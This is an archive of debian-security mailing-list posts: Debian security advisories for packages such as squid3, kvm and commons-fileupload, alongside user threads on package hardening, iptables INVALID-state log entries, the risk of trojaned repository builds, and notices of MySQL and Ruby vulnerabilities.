Unsubscribe Daniel On Feb 8, 2014 1:00 AM, Florian Weimer f...@deneb.enyo.de wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2856-1 secur...@debian.org http://www.debian.org/security/Florian Weimer February 07, 2014 http://www.debian.org/security/faq - - Package: libcommons-fileupload-java Vulnerability : denial of service Problem type : remote Debian-specific: no CVE ID : CVE-2014-0050 It was discovered that the Apache Commons FileUpload package for Java could enter an infinite loop while processing a multipart request with a crafted Content-Type, resulting in a denial-of-service condition. For the oldstable distribution (squeeze), this problem has been fixed in version 1.2.2-1+deb6u2. For the stable distribution (wheezy), this problem has been fixed in version 1.2.2-1+deb7u2. For the unstable distribution (sid), this problem has been fixed in version 1.3.1-1. We recommend that you upgrade your libcommons-fileupload-java packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iQEcBAEBAgAGBQJS9WToAAoJEL97/wQC1SS+IcIH/18AS3UkkZtLgZcEGpBeBEM+ OX00IRYPc3emFQcB3ZUUeiYGtq3aAEKYTW5wd8tAA04K4wUMdcV70oUxnFEeUcLl ir0b4rIM/ozB86iBN95jmgQzY7pdx703tvhA7CQlNdC0WTEPFHW7yrGksrAk5rTv zw5NlN3Hi9McYH+kigp6ULoNavWfByNM7i7xNb7tPCulF0MnIyhfg0ewxgg+QfYj RB0V5U/jSW77n0E/Ft9MX5cthViwaCxYREJoXgSIDid/OYyNIE3aZuB+KKFDwPGw /dkC+QIE6Zbeesx73YBo+oCEKulGE1UOutjrHy/vnV+mvZklmvChyZEyaGjIG5w= =noFV -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/87y51mil6r@mid.deneb.enyo.de
Re: Enhancements/enabled hardening flags in Wheezy pkgs/release.
Hello everyone Thanks for yours opinions. Yes, I know that AppArmor is available in Debian. That's good. It's just fine, that there is a possibilities to choose between SELinux and AppArmor. Unfortunately, I can help only with creating profiles for a various applications. For now, I'm trying to do a profile for *plugin-container* process, which is related with a Adobe's flash plugin. If it's about develop AppArmor I can not do anything, because I'm not programmer. I will certainly follow the AppArmor developments in Debian. That's for sure. Best regards and a Happy New Year.
Re: Enhancements/enabled hardening flags in Wheezy pkgs/release.
Hello everyone, Michael web site with a statistic I've watching for time to time. Also *Debian* Hardening wiki page I studied a couple of time. ** *There is a lintian check for setuid binaries (...) *** * There isn't really any group effort tackling or monitoring *** * the assortment of useful hardening features (...) * Are you trying to say, that this problem is almost without checking, auditing etc.? You're right - there isn't really any group effort tackling to adding/enabling additional Security Features. *Ubuntu* and *openSUSE* doing perfectly job in this arena. Both system using many interesting features, which aren't available in *Debian*. *Moritz* that's a full list of packages with a DSA over past years? If so, it means that there almost every pkg's is protected. Or maybe it's just an example. I wish I could help, but I'm not right person for this type of things. This is very interesting, that only one hour is enough to make changes. *@intrigeri* I would like to thank you because of submitted patch! Anyway, it could be very nice if *Debian* would start to implement *AppArmor* for serious - put all effort on this (yes, there is also *SELinux*) because it's very simple, intuitive, contains many profiles etc. SELinux is also good, but is complex. Of course there is *openSUSE* and *Ubuntu* with *AppArmor* so everything is even easier. In my opinion it's time to include more and more Security Features into *Debian*. According to this I've a one question; is there a possibility to releasing *Debian* with already complied *grSec/PAX* kernel? If I remember correctly, sometime ago there was similar project. Of course I mean future. Best regards.
Enhancements/enabled hardening flags in Wheezy pkgs/release.
Hi Moritz, 90 percent of the hardening via '*dpkg-buildflags*'? That's a good information. I'd hoped, that the majority of all base packages and that's security-sensitive will be protected well. It's really a huge satisfaction. One more thing - does Debian include something like e.g. Ubuntu or openSUSE does? I mean a Security Features field. To mention a few: *setuid* binaries (kept to minimum), minimal set of daemons in the default instalation, no open ports or *ptrace scope* (via /kernel/yama/ptrace_scope sysctl), and so on. What about kernel hardening? Sorry for such question, but all of these issues are important for a couple of sysadmins. Already mentioned, Ubuntu and openSUSE, doing a great job. I think, that now I can perform an upgrade process from *Squeeze* to *Wheezy*, without any uncertainty. Best regards.
Enhancements/enabled hardening flags in Wheezy pkgs/release.
Hello everyone, Before Wheezy release we could find a web site, which contained notices about update as many packages as possible to use security hardening build flags via 'dpkg-buildflags'. Also, there could be found a note about packages that should have build flags enabled before the Wheezy release. It was called 'ReleaseGoals' [1]. I would like to ask how many of mentioned security features are available in Wheezy or where can I found some informations about this? I hope, that Developers managed to use hardening flags for many packages etc. The reason why I'm asking is pretty simple - I think about upgrade Squeeze to Wheezy but simultaneously I would like to know something more about security features in a new release. Best regards and all the best in 2014 year! [1] https://wiki.debian.org/ReleaseGoals/SecurityHardeningBuildFlags
Re: Compromising Debian Repositories
On Mon, Aug 5, 2013 at 9:17 AM, intrigeri intrig...@debian.org wrote: I need a reality check, as it's unclear to me what are the goals of this discussion. I don't think there are any goals. I asked it just to understand if it would be possible to do what I was thinking (apparently, it is) and the discussion continued from there. I think most of you are foccusing in servers running Debian, but when I asked the question I was thinking about personal computers. For example, if there are any vulnerabilities on ssh, they won't be able to get into my computer anyway because I'm always behind a NAT (and I'm not even sure that I have ssh on this computer). I understand that usually you are worried about directed attacks towards a machine, but in this case the NSA (and probably many other organizations) is interrested in infecting a lot of computers and mine data from there.
Re: Compromising Debian Repositories
I am really sorry if you think it's rude to start a topic here without subscribing. I thought that it was acceptable, since a lot of people do it in debian-users (I know it has a lot more volume than this one) and it's the default action when you click on Reply to All in most clients (well, probably a lot of people here use less standard email clients). Anyway, I just subscribed to this list ;) I am aware that it is possible to write obfuscated code that doesn't behave as expected, but I guess that the kind of people that usually write code like that aren't the kind of people that are accepted to write code for Debian. This is a problem that is harder to tackle, so now I'm assuming that any code whose source is publicly available has got enough scrutiny and we can trust it. What I was asking was about the case where the binary/package does not correspond to to the given source. Hipotetically the NSA could pay off the maintaner of some libfoo or executablebar that is required by the debian core (hence, that must be installed in all Debian systems). Before compiling that package the developer could change it to include some trojan and provide the unmodified source. In principle, deterministic builds would solve this problem, but I'm not sure how hard it is to accomplish (I'm not used to wirte compiled code). If there is a different version of the compiler, of some random lib or of some smaller thing, there could be some bytes that are differente, making it quite hard to reproduce. Creating an automated build server does not seam easy because there are packages written in a lot of languages that have a lot of different requirements. To conclude, I just want to say that I don't have any problems trusting debians mantainers in general (I currently run Debian on my personal computers and I'm setting up a personal server, also using Debian). The problem here is that only one rogue mantainer could infect every Debian system with some trojan. PS: I'm sorry if this one general answer breaks someone's threaded client, but I thinnk in this case it makes more sense one big answer than a lot of smaller replies.
Re: Compromising Debian Repositories
On Sun, Aug 4, 2013 at 2:55 PM, Michael Stone mst...@debian.org wrote: On Sun, Aug 04, 2013 at 10:12:40AM +0200, Heimo Stranner wrote: I think the real issue is about if the malicious patch is not part of the source package Why? It certainly makes your argument simpler if you arbitrarily restrict the problem set, but it isn't obvious that it makes sense. If I was going to backdoor something, I'd just make an innocent-looking coding error that would enable a successful exploit; I certainly wouldn't put in a commented section of code that says backdoor here. With sufficient effort it wouldn't be hard to inject such a vulnerability that would go unnoticed for years--and I'm not sure why that's less of an issue than someone making a one-time build with a malicious patch that is not part of the source package. First of all, they could apply that change (calling it a patch was not one of my greatest ideas) for every update they do, it's not necesserily a one time thing. It's also much easier (and probably much dangerous) to write some code that doesn't need to be cryptic, you can just write whatever you want instead of trying to find something that can pass as a mistake (although this seams a fun thing to do) Despite this, the most important reason is that I don't see anyway to prevent that from happening, but we can prevent this. It's not easy and will take a lot of work, but at least it is theoretically possible. I don't have any experience on this and I would not know where to start (I haven't even done a Debain package, ever), but if there's any workgroup or anyone working on this, I would like to help
Compromising Debian Repositories
I was reading this [1] article and it brought a question do my mind: How hard would it be for the FBI or the NSA or the CIA to have a couple of agents infiltrated as package mantainers and seeding compromised packages to the official repositories? Could they submit an uncompromised source and keep a small patch that they apply before building and sending it to the repository? Or is the building process done on Debian servers? 1: http://online.wsj.com/article_email/SB10001424127887323997004578641993388259674-lMyQjAxMTAzMDAwMTEwNDEyWj.html PS: I am not subscribed to this list, please keep my address in copy
Re: INVALID state and no known connection.
Hi Rolf. *The information about connections is stored in * * /proc/net/ip_conntrack. The maximum connections * * (...) in /proc/sys/net/ipv4/netfilter/ip_conntrack_max* I checked these values and it looks this way; # cat /proc/sys/net/ipv4/netfilter/ip_conntrack_max 55740 # cat /proc/net/ip_conntrack |wc -l 13 Should I change something to limit INVALID packets? Or it is normal? Best regards.
Re: INVALID state and no known connection.
Hi Reid Okay, no problem. So, everything is fine even with this INVALID entries in log files? 2013/4/11 Reid Sutherland r...@vianet.ca I don't think you need to remove the syslog tag, just know that when you see that syslog entry, it's related to the rule that has the tag. On 2013-04-10, at 11:34 AM, Daniel Curtis sidetripp...@gmail.com wrote: Hi Mr Rolf Okay, I will check these values; /proc/net/ip_conntrack etc. Generally it is normal, that there are INVALID connections, right? Yes, I'm seeing this syslog tag. Should I remove it from my iptables script (e.g. -j LOG --log-prefix etc.)?
INVALID state and no known connection.
Hi As we know iptables INVALID state means, that the packet is associated with no known connection, right? So, if I have a lot of INVALID entries in my log files, does it means, that something is wrong? Hidden process etc.? An example of logged entries; t4 kernel: [18776.221378] [INVALID in] IN=eth0 OUT= MAC=mac_address SRC=173.194.70.189 DST=192.168.5.200 LEN=40 TOS=0x00 PREC=0x00 TTL=45 ID=8371 PROTO=TCP SPT=443 DPT=45458 WINDOW=0 RES=0x00 RST URGP=0 t4 kernel: [18262.496058] [INVALID out] IN= OUT=eth0 SRC=192.168.5.200 DST=213.180.146.88 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=18981 DF PROTO=TCP SPT=37190 DPT=80 WINDOW=16576 RES=0x00 ACK FIN URGP=0 For example, lsof -i -n -P command shows only ESTABLISHED connections; nothing strange, nothing more. Best regards.
Re: INVALID state and no known connection.
Hi andika. Another INVALID packet description. I read a lot of information and I don't know what is the truth. Frankly, the first time I see a description, which concerns RAM memory. So, I have a 1 GB of RAM memory. Just for example; free -m command result; used: 640, free: 230 and top command; 891896k total, 677284k used, 214612k free As we can see, system detected 870 MB instead 1 GB (1024 MB). So what is the relationship between INVALID packets and RAM memory? Honestly, I don't understand it.
Re: [SECURITY] [DSA 2631-1] squid3 security update
thank You, Salvatore B. gonna try this today. On Sun, Feb 24, 2013 at 2:51 AM, Salvatore Bonaccorso car...@debian.orgwrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2630-1 secur...@debian.org http://www.debian.org/security/ Salvatore Bonaccorso February 24, 2013 http://www.debian.org/security/faq - - Package: squid3 Vulnerability : denial of service Problem type : remote Debian-specific: no CVE ID : CVE-2012-5643 CVE-2013-0189 Debian Bug : 696187 Squid3, a fully featured Web proxy cache, is prone to a denial of service attack due to memory consumption caused by memory leaks in cachemgr.cgi: CVE-2012-5643 squid's cachemgr.cgi was vulnerable to excessive resource use. A remote attacker could exploit this flaw to perform a denial of service attack on the server and other hosted services. CVE-2013-0189 The original patch for CVE-2012-5643 was incomplete. A remote attacker still could exploit this flaw to perform a denial of service attack. For the stable distribution (squeeze), these problems have been fixed in version 3.1.6-1.2+squeeze3. For the testing distribution (wheezy), these problems have been fixed in version 3.1.20-2.1. For the unstable distribution (sid), these problems have been fixed in version 3.1.20-2.1. We recommend that you upgrade your squid3 packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iEYEARECAAYFAlEp8EUACgkQXm3vHE4uylqX2ACfVzLUYmz1xSlRJUcshNB/W6zv KpIAoOVRw++ez+vx95H+dgN9vYG3he5p =OrsC -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130224105143.GA6765@pisco.westfalen.local
Re: [SECURITY] [DSA 2612-2] ircd-ratbox update
thank you, guys. will make use of it. On 2/10/13, Moritz Muehlenhoff j...@debian.org wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2612-2 secur...@debian.org http://www.debian.org/security/Moritz Muehlenhoff February 10, 2013 http://www.debian.org/security/faq - - Package: ircd-ratbox Vulnerability : programming error Problem type : remote Debian-specific: no CVE ID : CVE-2012-6084 This update to the previous ircd-ratbox DSA only raises the version number to ensure that a higher version is used than a previously binNMU on some architectures. For the stable distribution (squeeze), this problem has been fixed in version 3.0.6.dfsg-2+squeeze1. We recommend that you upgrade your ircd-ratbox packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iEUEARECAAYFAlEX6JUACgkQXm3vHE4uylpioQCcDQvyJFUkZ53pzs3k7CFDvlL1 v6gAlAkyL/gZnYMKLZiUgbE7m3Stvg0= =J5xk -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130210183700.GA6726@pisco.westfalen.local -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ca+lfa70itzat8pni1u1e3yjkbkmz8nmm2rcqbsdanavtbnp...@mail.gmail.com
Re: NULL Scan issues or something else?
Hi Mr Edwin Yes, I have this rule and is responsible for the established/related connections. This rule is almost at the very end of the INPUT chain. * (...) before the rule that logs/drops your packets?* Do you mean those strange packages mentioned in the first mail, right? Frankly, not; This rule is behind rules blocking those packets. It is something wrong?
Re: NULL Scan issues or something else?
Hi Mr Erwan So, everything is okay? Even these strange logs mentioned earlier? I'm still curious about this rule; *SYN,RST, ACK,FIN, PSH,URG, SYN,RST,ACK, FIN,PSH,URG* What do you mean by writing, that I should not contact servers? Best regards!
Re: NULL Scan issues or something else?
Hi Mr Erwan Let's summarize: these logs are normal and are not something... *bad*. Even if there are many IP's connections (*INVALID*) probes. I understand, that I should have not contact with the servers. Okay, but if those servers are providing e.g. a website, which I visit? How to avoid them? I apologize for my naive questions.
Re: Iceweasel ESR 10 security update.
Hi Mr Mestnik I'm just curious why Debian does not publish updated versions of the packages as soon as possible. Especially, when it comes to the security updates. Other distributions are doing it much faster. Personally, I do not like to use the applications that I know, it is vulnerable. As I already said - *I'm just curious*. That's all. Nothing more, nothing less. I do not understand your opinion about introducing security problems into Debian, but that is not important. Thank you for your answer. Best regards!
Iceweasel ESR 10 security update.
Hi Whether the Iceweasel 10.0.11 ESR package can be updated a little faster due to several security issues? On January 8 Mozilla published about 20 Security Advisories[1]. Many distributions already have updated Firefox to the latest 18 and 10.0.12 ESR versions[2]. According to the website for developers (DPTS), Iceweasel is too young in the so-called *Testing Migration* process. At this point it's only 3 of 10 days. The fact is that the new Firefox (Iceweasel) version/update fixes many security problems. Most of the impact for these vulnerabilities were classified as Critical. So, is there any chance to push update for Wheezy and Squeeze-Backports a little faster? Why wait so many days in such an important moment? Best regards! ___ [1] https://www.mozilla.org/security/known-vulnerabilities/firefox.html [2] Ubuntu, RedHat, Mandriva and many more...
Re: Linux 3.2: backports some features from mainline kernel (3.7)?
Hi Mr Cyril, Thank you for pointing out this website. I completely forgot about it and definitely, I should look there first, before writing a message here. I did not look over this web site (Changlelog for 3.2.X) for a long time, because for now, I am still using a linux-2.6 on all of my systems. Thank You for suggesting debian-kernel@ mailing list. Best regards!
Linux 3.2: backports some features from mainline kernel (3.7)?
Hi, Kernel 3.7 is officially out. This Linux release includes many improvements practically in every aspect. Many changes also concerns security. Very interesting are: Cryptographically-signed kernel modules and - long awaited - symlink and hardlink restrictions (already in Linux 3.6), but it broke some programs, so it has been disabled by default, right? Those features/changes are very interesting from security point of view. With signed kernel modules, various distributions can lock down their kernels. symlink and hardlink are just a long-standing, much needed class of security. I would like to ask, if some of 3.7 kernel features (such as those mentioned) will be backported to Testing kernel (3.2)? I know Wheezy has now been frozen and in consequences this means that no more new features will be added etc. But there is still some time to official release and those features, could be tested very well. Are there any plans to do this? Best regards!
Re: Zero Day MySQL Buffer Overflow
Hi Thijs! Okay now everything is clear. Regards!
Re: About default init umask , and kernel umask, cron umask
(...) so a good umask may be set there for init. Hi, and a good setting for umask is? I know that it depends on many things, but what do you think? Cheers
Re: Zero Day MySQL Buffer Overflow
Hi, Thank You, I should look there first (Security Tracker). But I see, that two of three CVE's are marked as 'vulnerable' for all branches; stable, testing and unstable. Frankly, only first CVE is Fixed for Squeeze. It is normal? Regards!
Zero Day MySQL Buffer Overflow
Hi, I would like to inform about a new stack-based buffer overflow vulnerability for MySQL. The following CVEs have been assigned to track this MySQL vulnerability: CVE-2012-5611 MySQL (Linux) Stack based buffer overrun PoC Zeroday CVE-2012-5612 MySQL (Linux) Heap Based Overrun PoC Zeroday CVE-2012-5613 MySQL (Linux) Database Privilege Elevation Zeroday Exploit It is related to Debian? Best regards! __ http://seclists.org/fulldisclosure/2012/Dec/15
Re: [SECURITY] [DSA 2550-1] asterisk security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi Moritz Please test/report, whether the packages located at http://people.debian.org/~jmm/ fix the problem for you. Could you please publish the source package as well? And is this going to go into squeeze-updates eventually? Cheers Daniel (@moritz: sry for double-posting...) -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQIcBAEBAgAGBQJQYuUBAAoJEIWTgWPaKFdzzTgP+QFfFGoV832ZwcAmhxJvwGko UTh+q4m+HLnpZSmRMJMQsXD1yaL7aPxdX/ro0ZWlE7b4cKYnQJ50MVGvxyWI9OIG ENh1nemiVGvyCsbEKVQ6ockIbRllYT3IWjmaAmKu+/CmmbUjUFafEd/wgRvK5mDG 1C363bXDZla+8NblI/LJnvlvXoP6zt9sgmywdYlg4lZy/x7vo69sUbXXhvcA6f3h kKAqGlQwNdZN4Wc8PhmtQQyFDhK1MM3v+L7jEwgWpTdCMmByPGPiWDn21fQte6Dz joEeUbfRekHTKYKynEN41clfL7SIAyVOhTjt9HfRBss+TjquQ1yQdwt4MXTD8iKE 08XAmIge7mbOW7Edypc/dlHPLn3lxfI/M3kpOKfGL+16SpLRHCFoYzbBAzxF2ASi cWoayD74V/0mE0qWt58/m14ahAFQs6g5ypYKIm+AT2IxNGL9f8Z8XswE+Qm0MQTz qIrWXfe0UZ3lA5gh2ocNh9tVRbY78VtCBKgJKt3DtatBZUAJfyhGDMb0vowL6fp0 YKZnTeozW/fEc6IVuR38Xi19350JFdAlLUUYgeNdM7LFICJvbMFzBTFKXHtQgTgX 5ZsE/Z/WA8A8dUNo0OZ6ZikU+m8zrxYFgXwaYhPVrMcwRbhCDu30H2KSMGVOqoer FeQ0HGCxuE9rjgMO27nR =5J/q -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/5062e501.7040...@nachtgeist.net
Re: Hardening Debian
Thanks guys. I've received quite a massive response it seems. All the information I was looking for. Thanks again, Dan On Wed, Nov 24, 2010 at 10:48 AM, Daniel Hood dsmh...@gmail.com wrote: Does anyone have a good checklist or script to harden a vanilla debian box after installation? Dan -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/aanlktinhempfknt2xd_qc_qqnvlf6tsxxnuhxl5gq...@mail.gmail.com
Hardening Debian
Does anyone have a good checklist or script to harden a vanilla debian box after installation? Dan -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/aanlktinouo_zt2xdva+2v7t-cfobzr81fndnmr0hw...@mail.gmail.com
Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities
Hi Debian Security folks-- On 03/10/2010 01:18 PM, dann frazier wrote: Debian Security Advisory DSA-2010 secur...@debian.org http://www.debian.org/security/ Dann Frazier March 10, 2010 http://www.debian.org/security/faq Package: kvm Vulnerability : privilege escalation/denial of service Problem type : local Debian-specific: no CVE Id(s) : CVE-2010-0298 CVE-2010-0306 CVE-2010-0309 CVE-2010-0419 Several local vulnerabilities have been discovered in kvm, a full virtualization system. The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2010-0298 CVE-2010-0306 Gleb Natapov discovered issues in the KVM subsystem where missing permission checks (CPL/IOPL) permit a user in a guest system to denial of service a guest (system crash) or gain escalated privileges with the guest. CVE-2010-0309 Marcelo Tosatti fixed an issue in the PIT emulation code in the KVM subsystem that allows privileged users in a guest domain to cause a denial of service (crash) of the host system. CVE-2010-0419 Paolo Bonzini found a bug in KVM that can be used to bypass proper permission checking while loading segment selectors. This potentially allows privileged guest users to execute privileged instructions on the host system. For the stable distribution (lenny), this problem has been fixed in version 72+dfsg-5~lenny5. For the testing distribution (squeeze), and the unstable distribution (sid), these problems will be addressed within the linux-2.6 package. We recommend that you upgrade your kvm package. Upgrade instructions wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. It's not clear to me from the instructions above whether users should re-build their kvm modules package as well as installing the revised versions. Is the vulnerability fully-resolved by simply upgrading the kvm package? (i really don't know, and figure y'all are the right folks to ask). I note that there are kvm modules shipped with the default stable kernel. If more steps are needed, maybe we need additional DSA boilerplate for these kind of announcements in the future. Thanks for all the work you do to keep debian in good shape. it's very much appreciated! --dkg signature.asc Description: OpenPGP digital signature
Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities
On 03/10/2010 02:49 PM, dann frazier wrote: On Wed, Mar 10, 2010 at 02:18:38PM -0500, Daniel Kahn Gillmor wrote: It's not clear to me from the instructions above whether users should re-build their kvm modules package as well as installing the revised versions. Is the vulnerability fully-resolved by simply upgrading the kvm package? (i really don't know, and figure y'all are the right folks to ask). If you've never built/installed modules from the kvm-source package, this advisory does not apply to you. If you have - you will need to update your kernel-source package and rebuild/reload those modules. So i have a lenny system, running 2.6.26-2-amd64. When it was running 2.6.26-1-amd64, i built and installed modules from the kvm_source. but when i upgraded to 2.6.26-2-amd64, i didn't bother to build new modules, and just went with the kvm modules shipped in the stock linux-image-2.6.26-2-amd64 package. A literal reading of your response above makes me think i need to do rebuild for that system, but if i'm actually understanding you, it sounds like i *don't* need to do a module rebuild. argh. sorry if this line of questioning is annoying or frustrating. i'm not trying to be obnoxious or pedantic, i'm trying to make sure i actually understand the issue. I note that there are kvm modules shipped with the default stable kernel. Yes, these issues are being tracked there as well (3/4 are already fixed in the latest stable update) Nice, thanks for the info. So would the 4th be fixed if i went ahead and rebuilt from the kvm_source package referenced by DSA-2010-1? Regards, --dkg signature.asc Description: OpenPGP digital signature
[Fwd: Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities]
sorry, this proposed boilerplate change was meant to go to the list, not just to dann. Thanks for all your work, folks. --dkg ---BeginMessage--- On 03/10/2010 04:53 PM, dann frazier wrote: On Wed, Mar 10, 2010 at 04:09:48PM -0500, Daniel Kahn Gillmor wrote: So would the 4th be fixed if i went ahead and rebuilt from the kvm_source package referenced by DSA-2010-1? Yes. Thank you for your prompt explanations, and for your patience, dann. I think i understand the situation now. Here is proposed boilerplate for future notices like this about kvm: Where it used to say: We recommend that you upgrade your kvm package. It could say: We recommend that you upgrade your kvm package. If your system is currently using a kvm-modules package built from previous versions of the kvm-source package, we recommend that you upgrade your kvm-source package, re-build a new kvm-modules package and install it. You should subsequently unload the old kvm modules from your kernel and reload the newly built kernel modules. The simplest way to accomplish this kernel module unload/reload is a system restart. Feel free to edit it as you see fit, of course. Regards, --dkg signature.asc Description: OpenPGP digital signature ---End Message--- signature.asc Description: OpenPGP digital signature
Re: GnuPG 1.4.10 RC1 available from Debian Experimental
Forwarding to debian-devel too. Hi, The recent release candidate 1 for GnuPG 1.4.10 has been packaged and uploaded to Debian's experimental distribution, in order to facilitate testing. If you wish, please try it out and of course report bugs found. All cautions around release candidates and the experimental distribution of course apply. See: http://packages.debian.org/experimental/gnupg With this (pre-)release, almost all patches applied to the Debian package have been integrated upstream and a *lot* of bugs and issues have been fixed (closing 25 Debian/Ubuntu bug reports). This release further comes with hkps support (HKP over SSL) [1,2]. So please help testing [3] the upcoming GnuPG 1.4.10 release and send us an report, if you observe issues. [1] http://lists.gnupg.org/pipermail/gnupg-devel/2009-August/025289.html [2] http://bugs.debian.org/519333 [3] https://bugs.g10code.com/gnupg/issue931 (for example) Regards, Daniel -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Study: Attacks on package managers (inclusing apt)
Hi all, Today there were some news about a study from the University of Arizona regarding security issues with package management systems (like apt). I did not yet read the whole study, but probably it's interesting for the project (they write about vulnerabilities). The study is here: http://www.cs.arizona.edu/people/justin/packagemanagersecurity/attacks-on-package-managers.html and some ongoing discussion here: http://lwn.net/Articles/289883/ (maybe some of you are already involved in the discussion there). I'm sorry, if this has already been brought up. I did not find a posting regarding this study, so I hereby start this thread). Regards, Daniel -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Unofficial fix for the Ruby vulnerabilities announced yesterday
Since the security team hasn't released a fix or an advisory yet for the Ruby vulnerabilites discovered yesterday, I've rolled my own as a stopgap. See http://dfranke.us/rubyfix.txt -- Daniel Franke [EMAIL PROTECTED] http://www.dfranke.us || =|\ || * | -|-\- Man is free at the instant he wants to be. -| =| \ /// --Voltaire pgpPwmYrAe6nt.pgp Description: PGP signature